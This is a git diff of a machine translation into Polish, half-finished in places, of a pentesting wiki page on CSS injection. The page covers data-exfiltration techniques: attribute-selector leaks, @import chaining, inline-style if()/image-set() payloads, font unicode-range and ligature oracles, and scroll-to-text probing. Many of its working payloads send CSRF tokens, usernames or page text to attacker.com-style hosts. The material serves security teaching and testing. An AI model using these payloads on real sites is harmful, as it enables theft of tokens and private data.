Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']

This commit is contained in:
Translator 2025-08-29 00:18:26 +00:00
parent b20423f256
commit 9cd1606b72

View File

@ -4,9 +4,9 @@
## CSS Injection
### Selector atrybutu
### Selektor atrybutu
Selektory CSS są tworzone w celu dopasowania wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
Selektory CSS są skonstruowane tak, aby dopasowywać wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut `value` elementu `input` zaczyna się od określonego znaku, ładowany jest wstępnie zdefiniowany zewnętrzny zasób:
```css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
```
Jednakże, to podejście napotyka ograniczenie w przypadku ukrytych elementów wejściowych (`type="hidden"`), ponieważ ukryte elementy nie ładują tła.
Jednak to podejście napotyka ograniczenie w przypadku ukrytych elementów input (`type="hidden"`), ponieważ elementy ukryte nie ładują tła.
#### Ominięcie dla Ukrytych Elementów
#### Obejście dla ukrytych elementów
Aby obejść to ograniczenie, możesz celować w następny element rodzeństwa, używając kombinatora rodzeństwa ogólnego `~`. Reguła CSS następnie stosuje się do wszystkich rodzeństw następujących po ukrytym elemencie wejściowym, powodując załadowanie obrazu tła:
Aby obejść to ograniczenie, możesz zaadresować kolejny element-sąsiad, używając ogólnego kombinatora `~` (general sibling combinator). Reguła CSS zostanie wtedy zastosowana do wszystkich elementów następujących po ukrytym elemencie input, powodując załadowanie obrazu tła:
```css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Praktyczny przykład wykorzystania tej techniki jest szczegółowo opisany w dostarczonym fragmencie kodu. Możesz go zobaczyć [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [tutaj](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Wymagania wstępne dla wstrzykiwania CSS
#### Wymagania wstępne dla CSS Injection
Aby technika wstrzykiwania CSS była skuteczna, muszą być spełnione określone warunki:
For the CSS Injection technique to be effective, certain conditions must be met:
1. **Długość ładunku**: Wektor wstrzykiwania CSS musi wspierać wystarczająco długie ładunki, aby pomieścić skonstruowane selektory.
2. **Ponowna ocena CSS**: Powinieneś mieć możliwość osadzenia strony, co jest konieczne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.
3. **Zasoby zewnętrzne**: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez Politykę Bezpieczeństwa Treści (CSP) strony.
1. **Payload Length**: Wektor CSS injection musi obsługiwać wystarczająco długie payloady, aby pomieścić skonstruowane selektory.
2. **CSS Re-evaluation**: Powinieneś mieć możliwość umieszczenia strony w ramce, co jest niezbędne do wywołania ponownej oceny CSS z nowo wygenerowanymi payloadami.
3. **External Resources**: Technika zakłada możliwość używania obrazów hostowanych zewnętrznie. To może być ograniczone przez Content Security Policy (CSP).
### Ślepy selektor atrybutów
### Blind Attribute Selector
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`**, aby zidentyfikować treści nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie ładującej wstrzykiwanie CSS.\
Możliwe jest również użycie tych selektorów do wydobywania informacji z kilku bloków tego samego typu, jak w:
As [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu zidentyfikowania zawartości nawet z elementów niewidocznych. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
It's also possible to use those selectors to extract information from several block of the same type like in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -52,59 +52,95 @@ background: url(/m);
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
```
Łącząc to z następującą techniką **@import**, możliwe jest wykradzenie dużej ilości **informacji za pomocą wstrzykiwania CSS z niewidocznych stron przy użyciu** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Łącząc to z następującą techniką **@import**, możliwe jest przeprowadzenie eksfiltracji dużej ilości **informacji za pomocą CSS injection ze stron blind przy użyciu** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Poprzednia technika ma pewne wady, sprawdź wymagania wstępne. Musisz być w stanie **wysłać wiele linków do ofiary** lub musisz być w stanie **iframe'ować stronę podatną na wstrzykiwanie CSS**.
Poprzednia technika ma pewne wady — sprawdź wymagania wstępne. Musisz albo móc **wysłać wiele linków do victim**, albo musisz móc **iframe the CSS injection vulnerable page**.
Jednak istnieje inna sprytna technika, która wykorzystuje **CSS `@import`**, aby poprawić jakość techniki.
Jest jednak inna sprytna technika, która wykorzystuje **CSS `@import`**, aby poprawić skuteczność metody.
Zostało to po raz pierwszy pokazane przez [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w ten sposób:
Po raz pierwszy pokazał to [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) i działa to w ten sposób:
Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej), zamierzamy **załadować stronę tylko raz i tylko z importem do serwera atakującego** (to jest ładunek do wysłania ofierze):
Zamiast ładować tę samą stronę w kółko z dziesiątkami różnych payloads za każdym razem (jak w poprzednim przypadku), zamierzamy **load the page just once and just with an import to the attackers server** (to jest payload do wysłania do victim):
```css
@import url("//attacker.com:5001/start?");
```
1. Import będzie **otrzymywał jakiś skrypt CSS** od atakujących, a **przeglądarka go załaduje**.
2. Pierwsza część skryptu CSS, którą wyśle atakujący, to **kolejny `@import` do serwera atakującego.**
1. Serwer atakującego nie odpowie jeszcze na to żądanie, ponieważ chcemy wycieknąć kilka znaków, a następnie odpowiedzieć na ten import ładunkiem, aby wycieknąć następne.
3. Druga i większa część ładunku będzie **ładunkiem wycieku selektora atrybutu.**
1. To wyśle do serwera atakującego **pierwszy znak sekretu i ostatni.**
4. Gdy serwer atakującego otrzyma **pierwszy i ostatni znak sekretu**, **odpowie na import żądany w kroku 2.**
1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak sekretu, a następnie przedostatni.**
1. The import będzie **otrzymywał some CSS script** od attackers i **browser go załaduje**.
2. Pierwsza część CSS scriptu, którą attacker wyśle, to **kolejne `@import` do attackers server ponownie.**
1. attackers server nie odpowie na to żądanie jeszcze, ponieważ chcemy leakować kilka znaków, a potem odpowiedzieć na to import z payloadem, aby leakować kolejne.
3. Druga i większa część payloadu będzie **attribute selector leakage payload**
1. To wyśle do attackers server **pierwszy i ostatni znak secret**
4. Gdy attackers server otrzyma **pierwszy i ostatni znak secret**, odpowie na import zażądany w kroku 2.
1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje znaleźć **drugi znak secret, a następnie przedostatni**.
Atakujący **będzie powtarzał tę pętlę, aż uda mu się całkowicie wycieknąć sekret.**
Attacker będzie powtarzał tę pętlę aż uda mu się leakować cały secret.
Możesz znaleźć oryginalny [**kod Pepe Vili do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub możesz znaleźć prawie [**ten sam kod, ale skomentowany tutaj**.](#css-injection)
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
> [!NOTE]
> Skrypt będzie próbował odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na robienie rzeczy takich jak:
> [!TIP]
> The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
>
> ```css
> /* value^= aby dopasować początek wartości */
> /* value^= to match the beggining of the value*/
> input[value^="0"] {
> --s0: url(http://localhost:5001/leak?pre=0);
> --s0: url(http://localhost:5001/leak?pre=0);
> }
>
> /* value$= aby dopasować koniec wartości */
> /* value$= to match the ending of the value*/
> input[value$="f"] {
> --e0: url(http://localhost:5001/leak?post=f);
> --e0: url(http://localhost:5001/leak?post=f);
> }
> ```
>
> To pozwala skryptowi na szybsze wyciekanie sekretu.
> This allows the script to leak the secret faster.
> [!WARNING]
> Czasami skrypt **nie wykrywa poprawnie, że odkryty prefiks + sufiks to już pełna flaga** i będzie kontynuował do przodu (w prefiksie) i do tyłu (w sufiksie), a w pewnym momencie się zawiesi.\
> Nie martw się, po prostu sprawdź **wyjście**, ponieważ **możesz tam zobaczyć flagę**.
> Czasami the script **nie wykryje poprawnie, że odkryty prefix + suffix to już kompletny flag** i będzie kontynuował do przodu (w prefixie) i do tyłu (w suffixie) i w pewnym momencie zawiśnie.\
> Bez obaw — sprawdź po prostu **output**, ponieważ **możesz tam zobaczyć flag**.
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive umożliwia exfiltration używając jedynie inline style attribute elementu, bez selectorów czy zewnętrznych stylesheetów. Opiera się na CSS custom properties, funkcji attr() do czytania atrybutów tego samego elementu, nowych warunkach CSS if() dla rozgałęzień oraz image-set() do wywołania żądania sieciowego, które zakoduje dopasowaną wartość.
> [!WARNING]
> Equality comparisons w if() wymagają double quotes dla string literals. Single quotes nie będą pasować.
- Sink: kontroluj atrybut style elementu i upewnij się, że docelowy atrybut jest na tym samym elemencie (attr() czyta tylko same-element attributes).
- Read: skopiuj atrybut do zmiennej CSS: `--val: attr(title)`.
- Decide: wybierz URL używając zagnieżdżonych conditionals porównujących zmienną z kandydatami stringów: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
- Exfiltrate: zastosuj `background: image-set(var(--steal))` (lub dowolną właściwość wywołującą fetch) aby wymusić żądanie do wybranego endpointu.
Attempt (does not work; single quotes in comparison):
```html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
```
Działający payload (w porównaniu wymagane podwójne cudzysłowy):
```html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
```
Enumerowanie wartości atrybutów z zagnieżdżonymi warunkami:
```html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
```
Realistyczne demo (sondowanie nazw użytkowników):
```html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
```
Uwagi i ograniczenia:
- Działa na przeglądarkach opartych na Chromium w czasie badań; zachowanie może się różnić na innych silnikach.
- Najlepiej nadaje się do skończonych/wyliczalnych przestrzeni wartości (IDs, flags, short usernames). Kradzież dowolnie długich ciągów bez zewnętrznych arkuszy stylów pozostaje wyzwaniem.
- Każda właściwość CSS, która pobiera URL, może zostać użyta do wywołania żądania (np. background/image-set, border-image, list-style, cursor, content).
Automatyzacja: Burp Custom Action może generować zagnieżdżone inline-style payloads do brute-force wartości atrybutów: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
### Inne selektory
Inne sposoby dostępu do części DOM za pomocą **selektorów CSS**:
Inne sposoby dostępu do części DOM za pomocą **CSS selectors**:
- **`.class-to-search:nth-child(2)`**: To wyszuka drugi element z klasą "class-to-search" w DOM.
- **`:empty`** selektor: Używany na przykład w [**tym opisie**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
- **`:empty`** selektor: Użyty na przykład w [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty {
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
}
```
### Błąd oparty XS-Search
### Error based XS-Search
**Referencja:** [Atak oparty na CSS: Wykorzystywanie unicode-range z @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC autorstwa @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Ogólnym zamiarem jest **użycie niestandardowej czcionki z kontrolowanego punktu końcowego** i zapewnienie, że **tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko wtedy, gdy określony zasób (`favicon.ico`) nie może być załadowany.**
Ogólnym celem jest **użycie niestandardowej czcionki z kontrolowanego endpointu** i upewnienie się, że **tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko jeśli określony zasób (`favicon.ico`) nie może zostać załadowany**.
```html
<!DOCTYPE html>
<html>
@ -140,47 +176,47 @@ font-family: "poc";
```
1. **Użycie niestandardowej czcionki**:
- Niestandardowa czcionka jest definiowana za pomocą reguły `@font-face` w tagu `<style>` w sekcji `<head>`.
- Czcionka nazywa się `poc` i jest pobierana z zewnętrznego punktu końcowego (`http://attacker.com/?leak`).
- Niestandardowa czcionka jest zdefiniowana za pomocą reguły `@font-face` wewnątrz znacznika `<style>` w sekcji `<head>`.
- Czcionka nosi nazwę `poc` i jest pobierana z zewnętrznego endpointu (`http://attacker.com/?leak`).
- Właściwość `unicode-range` jest ustawiona na `U+0041`, celując w konkretny znak Unicode 'A'.
2. **Element Object z tekstem zapasowym**:
- Element `<object>` z `id="poc0"` jest tworzony w sekcji `<body>`. Element ten próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
- `font-family` dla tego elementu jest ustawione na `'poc'`, zgodnie z definicją w sekcji `<style>`.
- Jeśli zasób (`favicon.ico`) nie uda się załadować, zawartość zapasowa (litera 'A') wewnątrz tagu `<object>` jest wyświetlana.
- Zawartość zapasowa ('A') będzie renderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie może być załadowany.
- W sekcji `<body>` utworzono element `<object>` z `id="poc0"`. Element ten próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
- Dla tego elementu `font-family` jest ustawione na `'poc'`, zgodnie z definicją w sekcji `<style>`.
- Jeśli zasób (`favicon.ico`) nie załaduje się, zostanie wyświetlona zawartość zapasowa (litera 'A') wewnątrz znacznika `<object>`.
- Zawartość zapasowa ('A') zostanie wyrenderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie będzie dostępny.
### Stylizacja fragmentu tekstu przewijanego
### Stylowanie fragmentu Scroll-to-text
Pseudo-klasa **`:target`** jest używana do wybierania elementu, który jest celowany przez **fragment URL**, jak określono w [specyfikacji CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, aby zrozumieć, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.
Pseudoklasa **`:target`** jest używana do wyboru elementu wskazanego przez **fragment URL**, zgodnie ze specyfikacją [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Należy pamiętać, że `::target-text` nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie wskazany przez fragment.
Pojawia się problem bezpieczeństwa, gdy napastnicy wykorzystują funkcję **Scroll-to-text** fragment, co pozwala im potwierdzić obecność konkretnego tekstu na stronie internetowej, ładując zasób z ich serwera poprzez wstrzyknięcie HTML. Metoda polega na wstrzyknięciu reguły CSS, takiej jak ta:
Pojawia się problem bezpieczeństwa, gdy attackers wykorzystują funkcję **Scroll-to-text**, co pozwala im potwierdzić obecność konkretnego tekstu na stronie poprzez załadowanie zasobu z ich serwera za pomocą HTML injection. Metoda polega na wstrzyknięciu reguły CSS takiej jak ta:
```css
:target::before {
content: url(target.png);
}
```
W takich scenariuszach, jeśli tekst "Administrator" jest obecny na stronie, zasób `target.png` jest żądany z serwera, co wskazuje na obecność tekstu. Przykład tego ataku można wykonać za pomocą specjalnie przygotowanego URL, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
W takich scenariuszach, jeśli na stronie obecny jest tekst "Administrator", zasób `target.png` zostaje zażądany z serwera, co wskazuje na obecność tego tekstu. Wykonanie takiego ataku może nastąpić za pomocą specjalnie spreparowanego URL-a, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Tutaj atak manipuluje wstrzyknięciem HTML, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób jest ładowany, nieumyślnie sygnalizując swoją obecność atakującemu.
W tym przypadku atak manipuluje HTML injection, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą Scroll-to-text fragment (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób zostaje załadowany, niezamierzenie sygnalizując jego obecność atakującemu.
Aby zminimalizować ryzyko, należy zwrócić uwagę na następujące punkty:
Aby złagodzić ryzyko, należy zwrócić uwagę na następujące punkty:
1. **Ograniczone dopasowanie STTF**: Fragment Scroll-to-text (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do wycieków dowolnych sekretów lub tokenów.
2. **Ograniczenie do kontekstów przeglądania na najwyższym poziomie**: STTF działa wyłącznie w kontekstach przeglądania na najwyższym poziomie i nie funkcjonuje w ramach iframe, co sprawia, że wszelkie próby wykorzystania są bardziej zauważalne dla użytkownika.
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigację inicjowaną przez użytkownika. Wymóg ten znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) został zaprojektowany do dopasowywania jedynie słów lub zdań, co ogranicza jego zdolność do leakowania dowolnych sekretów lub tokenów.
2. **Restriction to Top-level Browsing Contexts**: STTF działa wyłącznie w top-level browsing contexts i nie funkcjonuje w iframes, co sprawia, że każda próba eksploatacji jest bardziej zauważalna dla użytkownika.
3. **Necessity of User Activation**: STTF wymaga user-activation gesture, aby działać, co oznacza, że eksploatacje są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Wymóg ten znacząco zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor posta na blogu wskazuje na konkretne warunki i obejścia (np. social engineering, interakcja z popularnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
Świadomość tych mechanizmów i potencjalnych luk jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami eksploatacyjnymi.
Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa sieci i ochrony przed takimi taktykami eksploatacji.
Aby uzyskać więcej informacji, sprawdź oryginalny raport: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Możesz sprawdzić [**eksploitujący tę technikę dla CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Możesz sprawdzić [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Możesz określić **zewnętrzne czcionki dla konkretnych wartości unicode**, które będą **zbierane tylko wtedy, gdy te wartości unicode są obecne** na stronie. Na przykład:
Możesz określić **zewnętrzne fonty dla konkretnych wartości unicode**, które zostaną pobrane tylko wtedy, gdy te wartości unicode są obecne na stronie. Na przykład:
```html
<style>
@font-face {
@ -206,25 +242,25 @@ font-family: poc;
<p id="sensitive-information">AB</p>
htm
```
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Gdy uzyskasz dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstowy sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". To oznacza, że udało nam się odczytać "A" i "B".
### Ekstrakcja węzła tekstowego (I): ligatury <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Referencja:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
**Źródło:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Technika opisana polega na ekstrakcji tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
Opisana technika polega na wydobywaniu tekstu z węzła przez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces obejmuje kilka kroków:
1. **Tworzenie niestandardowych czcionek**:
1. **Creation of Custom Fonts**:
- Czcionki SVG są tworzone z glifami mającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
- Przykład glifu SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gdzie "XY" oznacza sekwencję dwóch znaków.
- Tworzone są SVG fonts z glyphami mającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glypha reprezentującego sekwencję dwóch znaków.
- Przykładowy SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gdzie "XY" oznacza sekwencję dwóch znaków.
- Te czcionki są następnie konwertowane do formatu woff za pomocą fontforge.
2. **Wykrywanie zmian szerokości**:
2. **Detection of Width Changes**:
- CSS jest używane, aby zapewnić, że tekst nie zawija się (`white-space: nowrap`) i aby dostosować styl paska przewijania.
- Pojawienie się poziomego paska przewijania, stylizowanego w sposób odmienny, działa jako wskaźnik (oracle), że w tekście obecna jest określona ligatura, a tym samym określona sekwencja znaków.
- Użyty CSS:
- CSS jest używany, aby tekst nie zawijał się (`white-space: nowrap`) oraz aby dostosować styl paska przewijania.
- Pojawienie się poziomego paska przewijania, wystylizowanego w odmienny sposób, działa jako wskaźnik (oracle), że dana ligatura, a więc konkretna sekwencja znaków, jest obecna w tekście.
- Zaangażowany CSS:
```css
body {
white-space: nowrap;
@ -237,28 +273,28 @@ background: url(http://attacker.com/?leak);
}
```
3. **Proces eksploatacji**:
3. **Exploit Process**:
- **Krok 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, włączając wykrytą parę i dodając znak poprzedzający lub następujący.
- **Krok 4**: Wykonywana jest detekcja ligatury trzech znaków.
- **Krok 5**: Proces powtarza się, stopniowo ujawniając cały tekst.
- **Step 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
- **Step 2**: Wykorzystywany jest trik oparty na pasku przewijania, aby wykryć, kiedy renderowany jest glyph o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność tej sekwencji znaków.
- **Step 3**: Po wykryciu ligatury generowane są nowe glyphy reprezentujące sekwencje trzyznakowe, łącząc wykrytą parę z poprzedzającym lub następującym znakiem.
- **Step 4**: Przeprowadzane jest wykrycie trzyznakowej ligatury.
- **Step 5**: Proces się powtarza, stopniowo odsłaniając cały tekst.
4. **Optymalizacja**:
- Obecna metoda inicjalizacji za pomocą `<meta refresh=...` nie jest optymalna.
- Bardziej efektywne podejście mogłoby obejmować sztuczkę CSS `@import`, poprawiając wydajność eksploatu.
4. **Optimization**:
- Obecna metoda inicjalizacji używająca `<meta refresh=...` nie jest optymalna.
- Bardziej wydajne podejście mogłoby wykorzystać sztuczkę CSS `@import`, poprawiając wydajność exploita.
### Ekstrakcja węzła tekstowego (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagającej zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencja:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Źródło:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Zestaw znaków użyty w węźle tekstowym może być wyciekany **za pomocą domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne - ani niestandardowe - czcionki.
Ten trik został opublikowany w tym [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Zestaw znaków użyty w węźle tekstowym może nastąpić leak przy użyciu domyślnych czcionek zainstalowanych w przeglądarce: nie są potrzebne żadne czcionki zewnętrzne ani niestandardowe.
Koncepcja opiera się na wykorzystaniu animacji do stopniowego rozszerzania szerokości `div`, pozwalając jednemu znakowi na przejście z części 'sufiksowej' tekstu do części 'prefiksowej'. Proces ten skutecznie dzieli tekst na dwie sekcje:
Koncepcja opiera się na wykorzystaniu animacji do stopniowego zwiększania szerokości `div`, pozwalając jednemu znakowi na raz przejść z części 'sufiks' tekstu do części 'prefiks'. Proces ten efektywnie dzieli tekst na dwie sekcje:
1. **Prefiks**: Początkowa linia.
2. **Sufiks**: Kolejna linia(e).
1. **Prefiks**: linia początkowa.
2. **Sufiks**: kolejna linia(y).
Etapy przejścia znaków będą wyglądać następująco:
@ -273,15 +309,15 @@ B
**CADB**
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range** do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Podczas tego przejścia wykorzystywany jest trik unicode-range do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to przez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, w konsekwencji wywołując pionowy pasek przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
Chociaż ta metoda pozwala na wykrycie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.
Chociaż ta metoda pozwala wykryć unikalne znaki w miarę ich pojawiania się, nie określa, który znak jest powtórzony — informuje jedynie, że wystąpiło powtórzenie.
> [!NOTE]
> Zasadniczo, **unicode-range jest używane do wykrywania znaku**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób.\
> Gdy **znak** jest **znaleziony**, otrzymuje **wstępnie zainstalowaną czcionkę Comic Sans**, która **powiększa** znak i **wywołuje pasek przewijania**, który **ujawnia znaleziony znak**.
> [!TIP]
> Zasadniczo, **unicode-range is used to detect a char**, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inne rozwiązanie.\
> Kiedy **char** zostanie **znaleziony**, jest mu **przypisywana** preinstalowana czcionka **Comic Sans**, która **powiększa** char i **wywołuje pasek przewijania**, który spowoduje **leak znalezionego char**.
Check the code extracted from the PoC:
Sprawdź kod wyciągnięty z PoC:
```css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
```
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków za pomocą domyślnej czcionki przez ukrywanie elementów (nie wymagające zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
